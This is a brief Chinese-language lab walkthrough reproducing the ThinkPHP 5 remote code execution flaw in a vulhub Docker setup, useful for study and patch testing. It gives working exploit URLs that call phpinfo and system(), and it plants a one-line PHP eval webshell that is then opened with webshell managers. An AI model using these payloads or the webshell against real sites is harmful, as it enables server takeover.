一、簡介
ThinkPHP是一款運用極廣的PHP開發框架。其版本5中,由於沒有正確處理控制器名,導致在網站沒有開啓強制路由的情況下(即默認情況下)可以執行任意方法,從而導致遠程命令執行漏洞。
參考鏈接:
- http://www.thinkphp.cn/topic/60400.html
- http://www.thinkphp.cn/topic/60390.html
- https://xz.aliyun.com/t/3570
二、環境
本地ip:192.168.10.136
使用docker搭建環境
root@vps:cd ./vulhub/thinkphp/5-rce/ #進入環境目錄
root@vps:docker-compose up -d #docker-compose搭建環境
搭建完成,訪問 192.168.10.136:8080/index.php
訪問:
http://你的IP:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
頁面會執行phpinfo()
可以知道網站根目錄是/var/www/public 這裏我們寫入一句話木馬:
一句話木馬: <?php @eval($_POST['pwd']);?>
訪問
http://192.168.10.136:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ‘<?php @eval($_POST['pwd']);?>’ > hello.php
再執行ls命令,可以看到hello.php成功寫入,我們再用中國蟻劍連接獲取webshell,菜刀也行。
vulhub.zip環境資源下載
鏈接:https://pan.baidu.com/s/1Uo6DryX_x1SENK6ZSpoOMQ
提取碼:glih